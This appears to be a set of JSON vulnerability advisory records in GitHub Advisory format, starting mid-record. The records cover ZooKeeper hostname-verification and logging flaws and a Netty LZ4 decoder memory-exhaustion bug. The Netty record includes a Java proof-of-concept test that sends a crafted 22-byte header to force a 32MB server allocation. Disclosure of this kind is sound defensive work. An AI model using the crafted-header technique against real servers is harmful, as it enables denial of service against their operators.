  "details": "Hostname verification in Apache ZooKeeper ZKTrustManager falls back to reverse DNS (PTR) when IP SAN validation fails, allowing attackers who control or spoof PTR records to impersonate ZooKeeper servers or clients with a valid certificate for the PTR name. It\u0027s important to note that attacker must present a certificate which is trusted by ZKTrustManager which makes the attack vector harder to exploit. Users are recommended to upgrade to version 3.8.6 or 3.9.5, which fixes this issue by introducing a new configuration option to disable reverse DNS lookup in client and quorum protocols.",
  "id": "GHSA-7xrh-hqfc-g7qr",
  "modified": "2026-03-10T19:32:52Z",
  "published": "2026-03-07T09:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24281"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/zookeeper/commit/66c4efecdda1302d9cfb3af9eedb122b74452bf3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/zookeeper"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/ZOOKEEPER-4986"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/088ddsbrzhd5lxzbqf5n24yg0mwh9jt2"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/03/07/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache ZooKeeper: Reverse-DNS fallback enables hostname verification bypass in ZooKeeper ZKTrustManager"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.zookeeper:zookeeper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.9.0"
            },
            {
              "fixed": "3.9.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.zookeeper:zookeeper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.8.0"
            },
            {
              "fixed": "3.8.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24308"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-532"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-09T18:19:16Z",
    "nvd_published_at": "2026-03-07T09:16:07Z",
    "severity": "HIGH"
  },
  "details": "Improper handling of configuration values in ZKConfig in Apache ZooKeeper 3.8.5 and 3.9.4 on all platforms allows an attacker to expose sensitive information stored in client configuration in the client\u0027s logfile. Configuration values are exposed at INFO level logging rendering potential production systems affected by the issue.\u00a0Users are recommended to upgrade to version 3.8.6 or 3.9.5 which fixes this issue.",
  "id": "GHSA-crhr-qqj8-rpxc",
  "modified": "2026-03-09T18:19:16Z",
  "published": "2026-03-07T09:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24308"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/zookeeper"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/zookeeper/releases/tag/release-3.8.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/zookeeper/releases/tag/release-3.9.5"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/qng3rtzv2pqkmko4rhv85jfplkyrgqdr"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/03/07/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Apache ZooKeeper has improper handling of configuration values"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-compression"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42583"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:20:35Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nLz4FrameDecoder allocates a ByteBuf of size `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if `compressedLength == 1` - to force that allocation.\n\n### Details\nio.netty.handler.codec.compression.Lz4FrameDecoder#decode\nHeader fields are trusted for sizing. On the compressed path, after `readableBytes \u003e= compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, decompressedLength)` then decompresses.\n\n### PoC\nThe test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB\n\n```java\n    @Test\n    void test() throws Exception {\n        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n        try {\n            AtomicReference\u003cThrowable\u003e serverError = new AtomicReference\u003c\u003e();\n            CountDownLatch latch = new CountDownLatch(1);\n\n            ServerBootstrap server = new ServerBootstrap()\n                    .group(workerGroup)\n                    .channel(NioServerSocketChannel.class)\n                    .childHandler(new ChannelInitializer\u003cSocketChannel\u003e() {\n                        @Override\n                        protected void initChannel(SocketChannel ch) {\n                            ch.pipeline()\n                                    .addLast(new Lz4FrameDecoder())\n                                    .addLast(new ChannelInboundHandlerAdapter() {\n                                        @Override\n                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n                                            if (cause instanceof DecoderException) {\n                                                serverError.set(cause.getCause());\n                                            } else {\n                                                serverError.set(cause);\n                                            }\n                                            latch.countDown();\n                                        }\n                                    });\n                        }\n                    });\n\n            ChannelFuture serverChannel = server.bind(0).sync();\n\n            Bootstrap client = new Bootstrap()\n                    .group(workerGroup)\n                    .channel(NioSocketChannel.class)\n                    .handler(new ChannelInboundHandlerAdapter() {\n                        @Override\n                        public void channelActive(ChannelHandlerContext ctx) {\n                            ByteBuf buf = ctx.alloc().buffer(22, 22);\n                            buf.writeLong(MAGIC_NUMBER);\n                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);\n                            buf.writeIntLE(1);\n                            buf.writeIntLE(1 \u003c\u003c 25);\n                            buf.writeIntLE(0);\n                            buf.writeByte(0);\n\n                            ctx.writeAndFlush(buf);\n\n                            ctx.fireChannelActive();\n                        }\n                    });\n\n            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();\n\n            assertTrue(latch.await(10, TimeUnit.SECONDS));\n\n            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());\n\n            clientChannel.channel().close();\n            serverChannel.channel().close();\n        } finally {\n            workerGroup.shutdownGracefully();\n        }\n    }\n```\n\n### Impact\nUntrusted senders without per-channel / aggregate limits can stress memory with many small requests.",
  "id": "GHSA-mj4r-2hfc-f8p6",
  "modified": "2026-05-14T20:41:13Z",
  "published": "2026-05-07T00:20:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42583"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty Lz4FrameDecoder is vulnerable to resource exhaustion "
}